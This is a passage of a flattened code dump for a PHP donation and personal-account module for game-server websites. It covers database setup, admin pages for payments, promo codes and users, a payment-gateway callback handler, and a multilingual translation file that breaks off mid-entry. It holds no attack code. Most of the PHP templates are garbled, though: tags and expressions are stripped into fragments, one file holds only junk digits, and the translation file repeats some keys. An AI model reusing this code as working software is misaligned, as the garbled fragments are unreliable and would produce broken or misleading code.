"INSERT INTO `lk_discord`(`url`, `auth`) VALUES ('',0)", "CREATE TABLE IF NOT EXISTS `lk_logs` (`log_id` INT NOT NULL AUTO_INCREMENT , `log_name` TEXT NOT NULL , `log_value` TEXT NOT NULL , `log_time` TEXT NOT NULL , `log_content` TEXT NOT NULL , PRIMARY KEY (`log_id`)) ENGINE = InnoDB CHARSET=utf8 COLLATE utf8_general_ci;", "CREATE TABLE IF NOT EXISTS `lk_pays` ( `pay_id` INT NOT NULL AUTO_INCREMENT , `pay_order` INT NOT NULL , `pay_auth` TEXT NOT NULL , `pay_summ` FLOAT NOT NULL , `pay_data` TEXT NOT NULL , `pay_system` TEXT NOT NULL , `pay_promo` TEXT NOT NULL , `pay_status` INT NOT NULL DEFAULT '0' , PRIMARY KEY (`pay_id`)) ENGINE = InnoDB CHARSET=utf8 COLLATE utf8_general_ci;", "CREATE TABLE IF NOT EXISTS `lk_pay_service` ( `id` INT NOT NULL , `name_kassa` TEXT NOT NULL , `shop_id` TEXT NOT NULL , `secret_key_1` TEXT NOT NULL , `secret_key_2` TEXT NOT NULL , `status` INT NOT NULL DEFAULT '0' ) ENGINE = InnoDB CHARSET=utf8 COLLATE utf8_general_ci;", "CREATE TABLE IF NOT EXISTS `lk_promocodes` ( `id` INT NOT NULL AUTO_INCREMENT , `code` TEXT NOT NULL , `percent` FLOAT NOT NULL , `attempts` INT NOT NULL , `auth1` INT NOT NULL , PRIMARY KEY (`id`)) ENGINE = InnoDB CHARSET=utf8 COLLATE utf8_general_ci;", ); foreach($sql as $key){ $Db->query('lk', $Db->db_data['lk'][0]['USER_ID'], $Db->db_data['lk'][0]['DB_num'], $key); } header("Location: ".get_url(2)."lk/?section=gateways"); } ?> Добро пожаловать в мастер установки LR!
    translate('module_page_lk_impulse','_LKInstall')?>
    translate('module_page_lk_impulse','_InstallTable')?> translate('module_page_lk_impulse','_LK')?>

    translate('module_page_lk_impulse','_ForWork')?>
    $val):?> ``
    translate('module_page_lk_impulse','_SettingsBD')?>

    translate('module_page_lk_impulse','_LKForInstall')?> translate('module_page_lk_impulse','_LK')?>
    Host:
    User:
    Pass:
    DB:
    Table:
    LK mod
    translate('module_page_lk_impulse','_Php')?> = '7' ) { echo '
    ' . PHP_VERSION . '
    ';} else { echo '
    ' . PHP_VERSION . '
    '.$Translate->translate('module_page_lk_impulse','_PhpRecomendation').'
    ';} ?>
    cURL:
    installed not installed
    translate('module_page_lk_impulse','_DBCheckConnect')?>
    translate('module_page_lk_impulse','_DBCheckConnectSucc')?>
    ================================================ FILE: app/modules/disabled/module_page_lk_impulse/includes/logs.php ================================================ arr_general['site']); exit; };?>
    translate('module_page_lk_impulse','_LogList');?>
    LkLogs() as $log):?>
    Содержание лога
    LkLogContent($_GET['log']) as $key):?> translate('module_page_lk_impulse',$key['log_content']), json_decode(str_replace('[]','',$key['log_value']), true));?>
    ================================================ FILE: app/modules/disabled/module_page_lk_impulse/includes/payments.php ================================================ arr_general['site']); exit; } if(isset( $_SESSION['user_admin'] )): $pays = $LK->LkGetAllPays();?>
    translate('module_page_lk_impulse','_PaymentsList')?>
    # Steam translate( 'module_page_lk_impulse', '_Date' )?> translate( 'module_page_lk_impulse', '_Gateways' )?> translate( 'module_page_lk_impulse', '_Amount' )?> translate( 'module_page_lk_impulse', '_Promo' )?> translate( 'module_page_lk_impulse', '_Status' )?>
    status($key['pay_status'])?>
    Нет платежей
    LkGetUserPays($_SESSION['steamid32']);?>
    translate('module_page_lk_impulse','_PaymentsList')?>
    # translate( 'module_page_lk_impulse', '_Date' )?> translate( 'module_page_lk_impulse', '_Gateways' )?> translate( 'module_page_lk_impulse', '_Amount' )?> translate( 'module_page_lk_impulse', '_Promo' )?> translate( 'module_page_lk_impulse', '_Status' )?>
    status($key['pay_status'])?>
    Вы еще не пополняли свой баланс
    ================================================ FILE: app/modules/disabled/module_page_lk_impulse/includes/promocodes.php ================================================ arr_general['site']); exit; }?>
    translate('module_page_lk_impulse','_SettingsPromo')?>
    LkPromocodes() as $key):?>
    translate('module_page_lk_impulse','_Promo')?> translate('module_page_lk_impulse','_BonusPromo')?> translate('module_page_lk_impulse','_LimitUsePromo')?> translate('module_page_lk_impulse','_Snap')?> translate('module_page_lk_impulse','_Options')?>
    translate('module_page_lk_impulse','_Options')?>
    LkPromoCode($_GET['promocode_edit']);?>
    translate('module_page_lk_impulse','_EditPromo')?> -
    translate('module_page_lk_impulse','_Name')?>:
    translate('module_page_lk_impulse','_LimitUsePromo')?>:
    translate('module_page_lk_impulse','_BonusPromo')?>:
    >

    LkUsagePromo($promo[0]['code']); if(!empty($usage)):?> arr_general['avatars'] != 0 ) {?>arr_general['avatars'] != 0 ) {?>
    get_translate_phrase('_Player') ?> translate('module_page_lk_impulse', '_Date') ?> translate('module_page_lk_impulse', '_Gateways') ?>
    array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/?search=1' ">=" arr_general['avatars'] == 1){ echo $General->getAvatar(con_steam32to64($key['pay_auth']), 2); } elseif( $General->arr_general['avatars'] == 2) { echo 'storage/cache/img/avatars_random/' . rand(1,30) . '_xs.jpg'; }?>"> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/?search=1' "> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>href="arr_general['site'] ?>profiles/?search=1">LkGetUserData($key['pay_auth'])[0]['name'], 13) )?>
    translate('module_page_lk_impulse', '_PromoNotUse') ?>
    translate('module_page_lk_impulse','_AddPromocode')?>
    translate('module_page_lk_impulse','_AddPromoName')?>
    translate('module_page_lk_impulse','_LimitUsePromo')?>:
    translate('module_page_lk_impulse','_BonusPromo')?>:
    ================================================ FILE: app/modules/disabled/module_page_lk_impulse/includes/result.php ================================================ PPProcessPay( $_POST ); break; case 'freekassa': if(empty($_POST)){ die( 'Hacking detected' ); } $Freekassa = new Freekassa; $Freekassa->FKCheckIP(); $Freekassa->FKCheckSignature($_POST); $Freekassa->FKProcessPay($_POST); break; case 'interkassa': if(empty($_POST)){ die( 'Hacking detected' ); } $Interkassa = new Interkassa; $Interkassa->IKCheckSignature($_POST); $Interkassa->IKProcessPay($_POST); break; case 'unitpay': if( empty($_GET['method']) && empty($_GET['params']) ){ die('Hacking....'); }; $Unitpay = new Unitpay; $Unitpay->payerUnit($_GET['method'],$_GET['params']); break; case 'webmoney': if(empty($_POST)){ die( 'Hacking detected' ); } $Webmoney = new Webmoney; $Webmoney->WBCheckPurse( $_POST ); $Webmoney->WBCheckSignature( $_POST ); $Webmoney->WBProcessPay( $_POST ); break; case 'robokassa': if(empty($_POST)){ die( 'Hacking detected' ); } $Robokassa = new Robokassa; $Robokassa->RBCheckSignature( $_POST ); $Robokassa->RBProcessPay( $_POST ); break; case 'yandexmoney': if(empty($_POST)){ die( 'Hacking detected' ); } $Yandexmoney = new Yandexmoney; $Yandexmoney->YMCheckSignature( $_POST ); $Yandexmoney->YMProcessPay( $_POST ); break; case 'qiwi': if( empty( $_SERVER['HTTP_X_API_SIGNATURE_SHA256'] ) && empty( $_POST )){ die( 'Hacking detected' ); } $Qiwi = new Qiwi; $POST_JSON = file_get_contents("php://input"); $POST_DE = json_decode( $POST_JSON, true ); $Qiwi->QProcessPay( $POST_DE, $_SERVER['HTTP_X_API_SIGNATURE_SHA256'] ); break; default: die( 'Hacking detected' ); break; } ================================================ FILE: app/modules/disabled/module_page_lk_impulse/includes/search.php ================================================ arr_general['site']); exit; }?>
    translate('module_page_lk_impulse','_SearchStatus')?>
    translate('module_page_lk_impulse','_Noresult')?> arr_general['avatars'] != 0 ) {?>db_data['lk'][0]['mod'] == 1) { $cash = 'cash'; $all_cash = 'cash'; } else if($Db->db_data['lk'][0]['mod'] == 2) { $cash = 'money'; $all_cash = 'all_money'; } ?> arr_general['avatars'] != 0 ) {?>
    get_translate_phrase('_Player') ?> translate('module_page_lk_impulse', '_Balance') ?> translate('module_page_lk_impulse', '_BalanceAllTime') ?>
    array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/?search=1' ">=" arr_general['avatars'] == 1){ echo $General->getAvatar(con_steam32to64($key['auth']), 2); } elseif( $General->arr_general['avatars'] == 2) { echo 'storage/cache/img/avatars_random/' . rand(1,30) . '_xs.jpg'; }?>"> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/?search=1' "> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>href="arr_general['site'] ?>profiles/?search=1"> translate( 'module_page_lk_impulse', '_AmountCourse' )?> translate( 'module_page_lk_impulse', '_AmountCourse' )?>
    6): $Translate->translate('module_page_lk_impulse','_maxResult'); endif?>
    translate('module_page_lk_impulse','_Options')?>
    LkGetUserData($_GET['user_edit']);$pays = $LK->LkGetUserPays($_GET['user_edit']); if($Db->db_data['lk'][0]['mod'] == 1)$cash = 'cash'; else if($Db->db_data['lk'][0]['mod'] == 2)$cash = 'money';?>
    translate('module_page_lk_impulse','_Information')?> -
    translate('module_page_lk_impulse','_Balance')?>

    # translate( 'module_page_lk_impulse', '_Date' )?> translate( 'module_page_lk_impulse', '_Gateways' )?> translate( 'module_page_lk_impulse', '_Amount' )?> translate( 'module_page_lk_impulse', '_Promo' )?> translate( 'module_page_lk_impulse', '_Status' )?>
    status($key['pay_status'])?>
    translate( 'module_page_lk_impulse', '_NotPays' )?>
    ================================================ FILE: app/modules/disabled/module_page_lk_impulse/includes/users.php ================================================ arr_general['site']); exit; } ?>
    translate('module_page_lk_impulse','_UsersList')?>
    arr_general['avatars'] != 0 ) {?>db_data['lk'][0]['mod'] == 1) { $cash = 'cash'; $all_cash = 'cash'; } else if($Db->db_data['lk'][0]['mod'] == 2) { $cash = 'money'; $all_cash = 'all_money'; } ?> arr_general['avatars'] != 0 ) {?>
    get_translate_phrase('_Player') ?> translate('module_page_lk_impulse', '_Balance') ?> translate('module_page_lk_impulse', '_BalanceAllTime') ?>
    array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/?search=1' ">=" arr_general['avatars'] == 1){ echo $General->getAvatar(con_steam32to64($key['auth']), 2); } elseif( $General->arr_general['avatars'] == 2) { echo 'storage/cache/img/avatars_random/' . rand(1,30) . '_xs.jpg'; }?>"> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>onclick="location.href = 'arr_general['site'] ?>profiles/?search=1' "> array_modules['module_page_profiles']['setting']['status'] == '1'){ ?>href="arr_general['site'] ?>profiles/?search=1"> translate( 'module_page_lk_impulse', '_AmountCourse' )?> translate( 'module_page_lk_impulse', '_AmountCourse' )?>
    translate('module_page_lk_impulse','_Options')?>
    LkGetUserData($_GET['user_edit']);$pays = $LK->LkGetUserPays($_GET['user_edit']); if($Db->db_data['lk'][0]['mod'] == 1)$cash = 'cash'; else if($Db->db_data['lk'][0]['mod'] == 2)$cash = 'money';?>
    translate('module_page_lk_impulse','_Information')?> -
    translate('module_page_lk_impulse','_Balance')?>

    # translate( 'module_page_lk_impulse', '_Date' )?> translate( 'module_page_lk_impulse', '_Gateways' )?> translate( 'module_page_lk_impulse', '_Amount' )?> translate( 'module_page_lk_impulse', '_Promo' )?> translate( 'module_page_lk_impulse', '_Status' )?>
    status($key['pay_status'])?>
    translate( 'module_page_lk_impulse', '_NotPays' )?>
    ================================================ FILE: app/modules/disabled/module_page_lk_impulse/includes/zalupas.php ================================================ 12312312312312 ================================================ FILE: app/modules/disabled/module_page_lk_impulse/translation.json ================================================ { "_LK":{ "EN" : "Personal Area", "BR" : "Área Pessoal", "RU" : "Личный Кабинет", "UA" : "Особистий кабінет", "LT" : "Asmeninė sąskaita" }, "_ToUpAmount":{ "EN" : "Top-up Amount:", "BR" : "Top-up Amount:", "RU" : "Сумма пополнения:", "UA" : "Сума поповнення:", "LT" : "Papildoma suma:" }, "_Promo":{ "EN" : "Promotional Code", "BR" : "Código Promocional", "RU" : "Промокод", "UA" : "Промокод", "LT" : "Reklamos kodas" }, "_Balance":{ "EN" : "Balance", "BR" : "Balance", "RU" : "Баланс", "UA" : "Баланс", "LT" : "Balansas" }, "_BalanceAllTime":{ "EN" : "For all the time", "RU" : "За все время", "UA" : "За все время", "LT" : "Visą laiką" }, "_ButtonPay":{ "EN" : "Top up balance", "RU" : "Пополнить баланс", "UA" : "Поповнити баланс", "LT" : "Papildykite pusiausvyrą" }, "_AmountCourse":{ "EN" : "$", "RU" : "₽", "UA" : "₴", "LT" : "€" }, "_SettingsGateways":{ "EN" : "Payment Gateways", "BR" : "Gateways de Pagamento", "RU" : "Платежные шлюзы", "UA" : "Платіжні шлюзи", "LT" : "Mokėjimo šliuzai" }, "_Gateways":{ "EN" : "Payment Gateway", "BR" : "Gateway de Pagamento", "RU" : "Платежный шлюз", "UA" : "Платіжній шлюз", "LT" : "Mokėjimo šliuzai" }, "_Status":{ "EN" : "Status", "RU" : "Статус", "UA" : "Статус", "LT" : "Statusas" }, "_UsersList":{ "EN" : "Players List", "BR" : "Lista de Players", "RU" : "Список игроков", "UA" : "Список гравців", "LT" : "Žaidėjų sąrašas" }, "_DiscordMessage":{ "EN" : "Discord Notifications", "BR" : "Notificações Discord", "RU" : "Уведомления Discord", "UA" : "Повідомлення Discord", "LT" : "Pranešimai apie nesutarimus" }, "_LKInstall":{ "EN" : "Installing the LR WEB module - Personal Area", "RU" : "Установка модуля LR WEB - Личный Кабинет", "UA" : "Установка модуля LR WEB - Особистий Кабінет", "LT" : "„LR WEB“ modulio diegimas - „Mano sąskaita“" }, "_SettingsBD":{ "EN" : "Database Setup", "RU" : "Настройка базы данных", "UA" : "Налаштування бази даних", "LT" : "Duomenų bazės nustatymas" }, "_LKForInstall":{ "EN" : "For the module to work, you must have the plug-in installed and configured on the server", "RU" : "Для работы модуля у Вас должен быть установлен и настроен на сервере плагин", "UA" : "Для роботи модуля у Вас повинен бути встановлений і налаштований на сервері плагін", "LT" : "Kad modulis veiktų, serveryje turite būti įdiegę ir sukonfigūravę papildinį" }, "_DBCheckBTN":{ "EN" : "Check", "RU" : "Проверить", "UA" : "Перевірити", "LT" : "Patikrinkite" }, "_DBCheckConnect":{ "EN" : "There is no connection to the database!", "RU" : "Подключение к базе данных отсутствует!", "UA" : "Підключення до бази даних відсутня!", "LT" : "Nėra ryšio su duomenų baze!" }, "_DBCheckConnectSucc":{ "EN" : "Database with table connected successfully!", "RU" : "База данных с таблицей успешно подключена!", "UA" : "База даних з таблицею успішно підключена!", "LT" : "Duomenų bazė su lentele sėkmingai sujungta!" }, "_NextBTN":{ "EN" : "Next", "RU" : "Далее", "UA" : "Далі", "LT" : "Kitas" }, "_InstallBTN":{ "EN" : "Install", "RU" : "Установить", "UA" : "Встановити", "LT" : "Įdiekite" }, "_Example":{ "EN" : "Example", "RU" : "Пример", "UA" : "Приклад", "LT" : "Pavyzdys" }, "_Information":{ "EN" : "Information", "RU" : "Информация", "UA" : "Iнформація", "LT" : "Informacija" }, "_Php":{ "EN" : "Your version of PHP:", "RU" : "Ваша версия PHP:", "UA" : "Ваша версія PHP:", "LT" : "Jūsų PHP versija:" }, "_PhpRecomendation":{ "EN" : "Recommended: 7.0 - Possible galactic-scale problems :O", "RU" : "Рекомендуется: 7.0 - Возможны проблемы галактического масштаба :O", "UA" : "Рекомендується: 7.0 - Можливі проблеми галактичного масштабу :O", "LT" : "Rekomenduojama: 7.0 - Galimos galaktikos masto problemos :O" }, "_InstallTable":{ "EN" : "Installation of tables in the database", "RU" : "Установка таблиц в базу данных", "UA" : "Установка таблиць в базу даних", "LT" : "Lentelių diegimas duomenų bazėje" }, "_ForWork":{ "EN" : "For the module to work, the missing tables will be installed:", "RU" : "Для работы модуля будут установлены недостающие таблицы:", "UA" : "Для роботи модуля будуть встановлені відсутні таблиці:", "LT" : "Kad modulis veiktų, bus įdiegtos trūkstamos lentelės:" }, "_Options":{ "EN" : "Options", "RU" : "Опции", "UA" : "Опції", "LT" : "Parinktys" }, "_AddGateways":{ "EN" : "Add Payment Gateway", "RU" : "Добавить платежный шлюз", "UA" : "Додати платіжний шлюз", "LT" : "Pridėti mokėjimo šliuzą" }, "_AddGateway":{ "EN" : "Payment gateway %name% added", "RU" : "Платежный шлюз %name% добавлен", "UA" : "ДПлатіжний шлюз %name% доданий", "LT" : "Pridėta mokėjimų sąsaja %name%" }, "_SetGateways":{ "EN" : "Gateway settings", "RU" : "Настройки шлюза", "UA" : "Налаштування шлюзу", "LT" : "Šliuzo nustatymai" }, "_SecretWord":{ "EN" : "Secret word", "RU" : "Секретное слово", "UA" : "Cекретне слово", "LT" : "Slaptas žodis" }, "_SecretKey":{ "EN" : "Secret key", "RU" : "Секретный ключ", "UA" : "Cекретний ключ", "LT" : "Slaptas raktas" }, "_PublicKey":{ "EN" : "Public key", "RU" : "Публичный ключ", "UA" : "Публічний ключ", "LT" : "Viešas raktas" }, "_SecretWord":{ "EN" : "Secret word", "RU" : "Секретное слово", "UA" : "Cекретне слово", "LT" : "Slaptas žodis" }, "_ActGateways":{ "EN" : "Gateway Activity", "RU" : "Активность шлюза", "UA" : "Активність шлюзу", "LT" : "Vartų veikla" }, "_Indetificator":{ "EN" : "Store ID in the system", "RU" : "Индетификатор магазина в системе", "UA" : "Індетіфікатор магазину в системі", "LT" : "Saugokite ID sistemoje" }, "_Indetificator":{ "EN" : "Store ID in the system", "RU" : "Индетификатор магазина в системе", "UA" : "Індетіфікатор магазину в системі", "LT" : "Saugokite ID sistemoje" }, "_Save":{ "EN" : "Save", "RU" : "Сохранить", "UA" : "Зберегти", "LT" : "Taupyti" }, "_Purse":{ "EN" : "Purse", "RU" : "Кошелек", "UA" : "Гаманець", "LT" : "Piniginė" }, "_ResultUrl":{ "EN" : "Address to payment processor:", "RU" : "Адрес до обработчика платежа:", "UA" : "Адреса до обробника:", "LT" : "Adresas tvarkytojui:" }, "_ISID":{ "EN" : "Enter store ID", "RU" : "Введите ID магазина", "UA" : "Введіть ID магазину", "LT" : "įveskite parduotuvės ID" }, "_ISEC":{ "EN" : "Enter a secret word", "RU" : "Введите секретное слово", "UA" : "Введіть секретне слово", "LT" : "įveskite slaptą žodį" }, "_NINT":{ "EN" : "This payment gateway is not integrated", "RU" : "Данный платежный шлюз не интегрирован", "UA" : "Даний платіжний шлюз не інтегрований", "LT" : "Ši mokėjimo sąsaja nėra integruota" }, "_Password":{ "EN" : "Password", "RU" : "Пароль", "UA" : "Пароль", "LT" : "Slaptažodis" }, "_IPASS":{ "EN" : "Enter password", "RU" : "Введите пароль", "UA" : "Введіть пароль", "LT" : "įveskite slaptažodį" }, "_IPURSE":{ "EN" : "Enter wallet number", "RU" : "Введите номер кошелька", "UA" : "Введіть номер гаманця", "LT" : "Įveskite piniginės numerį" }, "_GetwExist":{ "EN" : " - Payment Gateway Already Installed", "RU" : " - Платежный шлюз уже установлен", "UA" : " - Платіжний шлюз вже встановлено", "LT" : " - Mokėjimo šliuzas jau įdiegtas" }, "_GetwNoExist":{ "EN" : "Payment gateway not found", "RU" : "Платежный шлюз не найден", "UA" : "Платіжний шлюз не найден", "LT" : "Mokėjimo šliuzas nerastas" }, "_LogNotFound":{ "EN" : "Log not found", "RU" : "Лог не найден", "UA" : "Лог не найден", "LT" : " Žurnalas nerastas" }, "_GetDonat":{ "EN" : "New donation %course% %amount%", "RU" : "Новый донат %course% %amount%", "UA" : "Нове пожертвування %course% %amount%", "LT" : "Nauja aukojimas %course% %amount%" }, "_NewModule":{ "EN" : "New donation %course% %amount%", "RU" : "Установлен новый модуль", "UA" : "Нове пожертвування %course% %amount%", "LT" : "Nauja aukojimas %course% %amount%" }, "_Foff":{ "EN" : "%gateway% - Payment Gateway Disabled", "RU" : "%gateway% - Платежный шлюз отключен", "UA" : "%gateway% - Платіжний шлюз відключений", "LT" : "%gateway% - Mokėjimo šliuzas išjungtas" }, "_SetPromo":{ "EN" : "%gateway% - The %promocode% code was introduced, the bonus was %course% %amount%", "RU" : "%gateway% - Был введен прмокод %promocode%, бонус составил %course% %amount%", "UA" : "%gateway% - Був введений прмокод %promocode%, Бонус склав %course% %amount%", "LT" : "%gateway% - Buvo įvestas %promocode% kodas, premija buvo %course% %amount%" }, "_DeniedIP":{ "EN" : "%gateway% - Request from Denied IP - %ip%", "RU" : "%gateway% - Запрос с запрещенного IP - %ip%", "UA" : "%gateway% - Запит з забороненого IP - %ip%", "LT" : "%gateway% - Prašymas iš IP, kuriam atsisakyta %ip%" }, "_GatewayOnNotEzist":{ "EN" : "Sorry, but it seems the administrator forgot to set up a payment gateway to accept payment", "RU" : "Прости, но кажется Админ забыл настроить платежный шлюз для приема оплаты", "UA" : "Прости, але здається Адмін забув налаштувати платіжний шлюз для прийому оплати", "LT" : "Atsiprašome, bet panašu, kad administratorius pamiršo nustatyti mokėjimo šliuzą, kad galėtų priimti mokėjimą" }, "_ChangeGateway":{ "EN" : "Select a Payment Method", "RU" : "Выберите способ оплаты", "UA" : "Виберіть спосіб оплати", "LT" : "Pasirinkite mokėjimo metodą" }, "_EnterAmount":{ "EN" : "Enter the desired recharge amount", "RU" : "Введите желаемую сумму пополнения", "UA" : "Введіть бажану суму поповнення", "LT" : "Įveskite norimą papildymo kiekį" }, "_AmountError":{ "EN" : "Invalid amount input, 10 or 10.50", "RU" : "Не правильный ввод суммы, 10 или 10.50", "UA" : "Чи не правильне введення суми, 10 або 10.50", "LT" : "Neteisinga įvesta suma, 10 arba 10.50" }, "_EnterSteam":{ "EN" : "Enter your STEAM_ID or log in", "RU" : "Введите свой STEAM_ID или авторизуйтесь", "UA" : "Введіть свій STEAM_ID або авторизуйтесь", "LT" : "Įveskite STEAM_ID arba prisijunkite" }, "_SteamError":{ "EN" : "Invalid input format STEAM_ID", "RU" : "Не верный формат ввода STEAM_ID", "UA" : "Не вірний формат введення STEAM_ID", "LT" : "Netinkamas įvesties formatas STEAM_ID" }, "_YouPay":{ "EN" : "Deposit %course% %amount%", "RU" : "Пополнение баланса на %course% %amount%", "UA" : "Поповнення балансу на %course% %amount%", "LT" : "Užstatas %course% %amount%" }, "_ErrorNamePromo":{ "EN" : "The promotional code must consist of Latin characters and numbers", "RU" : "Промокод должен состоять и латинских символов и цифр", "UA" : "Промокод повинен складатися і латинських символів та цифр", "LT" : "Reklamos kredito kodą turi sudaryti lotyniški ženklai ir skaičiai" }, "_LimitPromo":{ "EN" : "Enter your promotional code limit", "RU" : "Введите лимит использования промокода", "UA" : "Введіть ліміт використання промокодом", "LT" : "Įveskite reklamos kredito kodo limitą" }, "_LimitField":{ "EN" : "You can enter only numbers in the limit field", "RU" : "В поле лимит возможенн ввод только цифр", "UA" : "В поле ліміт возможенн введення тільки цифр", "LT" : "Ribų laukelyje galite įvesti tik skaičius" }, "_MinAmount":{ "EN" : "Minimum deposit amount %course% 0.1", "RU" : "Минимальная сумма пополнения %course% 0.1", "UA" : "Мінімальна сума поповнення %course% 0.1", "LT" : "Minimali įmokos suma 0.1 %course%" }, "_SettingsPromo":{ "EN" : "Set up promotional codes", "RU" : "Настройка промокодов", "UA" : "Налаштування промокодом", "LT" : "Nustatykite reklamos kodus", "DE" : "Richten Sie Aktionscodes ein", "CH" : "设置促销代码" }, "_AddPromocode":{ "EN" : "Add promotional code", "RU" : "Добавить промокод", "UA" : "Додати промокод", "LT" : "Pridėkite reklamos kredito kodą", "DE" : "Aktionscode hinzufügen", "CH" : "添加促销代码" }, "_Snap":{ "EN" : "Snap", "RU" : "Привязка", "UA" : "Привязка", "LT" : "Snapas", "DE" : "Snap", "CH" : "链接" }, "_BonusPromo":{ "EN" : "Bonus%", "RU" : "Бонусный %", "UA" : "Бонусный %", "LT" : "Premija%", "DE" : "Bonus%", "CH" : "奖金%" }, "_LimitUsePromo":{ "EN" : "Limit", "RU" : "Лимит", "UA" : "Лимит", "LT" : "Riboti", "DE" : "Limit", "CH" : "极限" }, "_Edit":{ "EN" : "Edit", "RU" : "Редактировать", "UA" : "Редагувати", "LT" : "Redaguoti", "DE" : "Bearbeiten", "CH" : "编辑" }, "_Add":{ "EN" : "Add", "RU" : "Добавить", "UA" : "Додати", "LT" : "Pridėti", "DE" : "Hinzufügen", "CH" : "添加" }, "_EditPromoName":{ "EN" : "Enter the name of the promotional code", "RU" : "Введите наименование промокода", "UA" : "Введіть найменування промокодом", "LT" : "Įveskite reklamos kredito kodo pavadinimą", "DE" : "Geben Sie den Namen des Aktionscodes ein", "CH" : "输入促销代码的名称" }, "_EditPromo":{ "EN" : "Promotional code editing", "RU" : "Редактирование промокода", "UA" : "Редагування промокодом", "LT" : "Reklaminio kodo redagavimas", "DE" : "Bearbeitung von Werbecodes", "CH" : "促销代码编辑" }, "_SnapSID":{ "EN" : "Bind 1 promotional code to 1 SteamID", "RU" : "Привязать 1 промокод на 1 SteamID", "UA" : "Привязать 1 промокод на 1 SteamID", "LT" : "Prijunkite 1 reklamos kredito kodą prie 1 SteamID", "DE" : "Binden Sie 1 Werbecode an 1 SteamID", "CH" : "将1个促销代码绑定到1个SteamID" }, "_Name":{ "EN" : "Name", "RU" : "Наименованеие", "UA" : "Найменування", "LT" : "Vardas", "DE" : "Name", "CH" : "名" }, "_AddPromoName":{ "EN" : "Name of the promotional code(empty field random name)", "RU" : "Наименование Промокода(пустое поле рандомное наименование )", "UA" : "Найменування промокодом(Пусте поле рандомноє найменування)", "LT" : "Reklamos kredito kodo pavadinimas(tuščias lauko atsitiktinis pavadinimas)", "DE" : "Name des Werbecodes(leeres Feld zufälliger Name)", "CH" : "输入促销代码的名称" }, "_Logs":{ "EN" : "Logs", "RU" : "Логи", "UA" : "Логи", "LT" : "Rąstai", "DE" : "NProtokolle", "CH" : "日志" }, "_LogList":{ "EN" : "Log list", "RU" : "Список логов", "UA" : "Список логів", "LT" : "Žurnalų sąrašas", "DE" : "Protokollliste", "CH" : "日志列表" }, "_PayNotExist":{ "EN" : "%gateway% - Payment #%numberpay% already paid or does not exist! Payment Details: Steam '%steam%', Amount '%course% %amount%'.", "RU" : "%gateway% - Платеж #%numberpay% уже оплачен или не существует! Данные платежа: Steam '%steam%', Сумма '%course% %amount%'.", "UA" : "%gateway% - Платіж #%numberpay% вже оплачений або не існує! Дані платежу: SteamID '%steam%', Сума '%course% %amount%'.", "LT" : "%gateway% - Mokėjimas #%numberpay% jau sumokėtas arba jo nėra! Mokėjimo informacija: Steam '%steam%', suma '%course% % suma%'.", "DE" : "%gateway% - Zahlung #%numberpay% bereits bezahlt oder existiert nicht! Zahlungsdetails: Steam '%steam%', Betrag '%course% %amount%'.", "CH" : "%gateway% - 付款#%numberpay% 已付款或不存在!付款细节:Steam “%steam%”,金额 “%course% %amount%”." }, "_Error":{ "EN" : "Error", "RU" : "Ошибка", "UA" : "Error", "LT" : "Error", "DE" : "Error", "CH" : "Error" }, "_Amount":{ "EN" : "Amount", "RU" : "Сумма", "UA" : "Сума", "LT" : "Suma", "DE" : "Menge", "CH" : "总和" }, "_Replenishment":{ "EN" : "Deposit", "RU" : "Пополнение", "UA" : "Поповнення", "LT" : "Užstatas", "DE" : "Kaution", "CH" : "保证金" }, "_PaymentsList":{ "EN" : "List of payments", "RU" : "Список платежей", "UA" : "Cписок платежів", "LT" : "Mokėjimų sąrašas", "DE" : "Liste der Zahlungen", "CH" : "付款清单" }, "_AdminPay":{ "EN" : "Admin credited to you %course% %amount%", "RU" : "Вам начислил админ %course% %amount%", "UA" : "Вам нарахував адмін %course% %amount%", "LT" : "Admin jums buvo įskaitytas", "DE" : "Admin credited to you %course% %amount%", "CH" : "您被认为是admin %course% %amount%" }, "_ClearZero":{ "EN" : "Clear players with zero donation", "RU" : "Отчистить игроков с нулевым донатом", "UA" : "Очистити гравців з нульовим Донатом", "LT" : "Išvalykite žaidėjus be jokios aukos", "DE" : "Klare Spieler ohne Spende", "CH" : "清除没有捐赠的玩家" }, "_Date":{ "EN" : "Date", "RU" : "Дата", "UA" : "Дата", "LT" : "Data", "DE" : "Datum", "CH" : "日期" }, "_NotPays":{ "EN" : "No payments", "RU" : "Нет платежей", "UA" : "Немає платежів", "LT" : "Jokių mokėjimų", "DE" : "Keine Zahlungen", "CH" : "没有付款" }, "_Search":{ "EN" : "Search", "RU" : "Поиск", "UA" : "Пошук", "LT" : "Paieška", "DE" : "Suche", "CH" : "搜索" }, "_LogDeleted":{ "EN" : "Log deleted", "RU" : "Лог удален", "UA" : "Лог удален", "LT" : "Žurnalas ištrintas", "DE" : "Protokoll gelöscht", "CH" : "记录已删除" }, "_PromoNotUse":{ "EN" : "No promotional code used", "RU" : "Промокод не использовался", "UA" : "Промокод не використовувалася", "LT" : "Nebuvo naudojamas reklamos kodas", "DE" : "Kein Werbecode verwendet", "CH" : "没有使用促销代码" }, "_NOTSIGN":{ "EN" : "%gateway% - Invalid digital signature.", "RU" : "%gateway% - Не верная цифровая подпись.", "UA" : "%gateway% - Чи не вірна цифровий підпис.", "LT" : "%gateway% - Neteisingas skaitmeninis parašas.", "DE" : "%gateway% - Ungültige digitale Signatur.", "CH" : "%gateway% - 数字签名无效。" }, "_NoValidSumm":{ "EN" : "%gateway% - The amount does not match: %amount%.", "RU" : "%gateway% - Не совпадает сумма: %amount%.", "UA" : "%gateway% - Чи не збігається сума: %amount%.", "LT" : "%gateway% - Suma nesutampa: %amount%.", "DE" : "%gateway% - Der Betrag stimmt nicht überein mit: %amount%.", "CH" : "%gateway% - 金额不符合: %amount%." }, "_NewDonat":{ "EN" : "%gateway% - Received a new donut: #%order%, amount %course% %amount%, Steam %steam%.", "RU" : "%gateway% - Поступил новый донат: #%order%, сумма %course% %amount%, Steam %steam%.", "UA" : "%gateway% - Надійшов новий 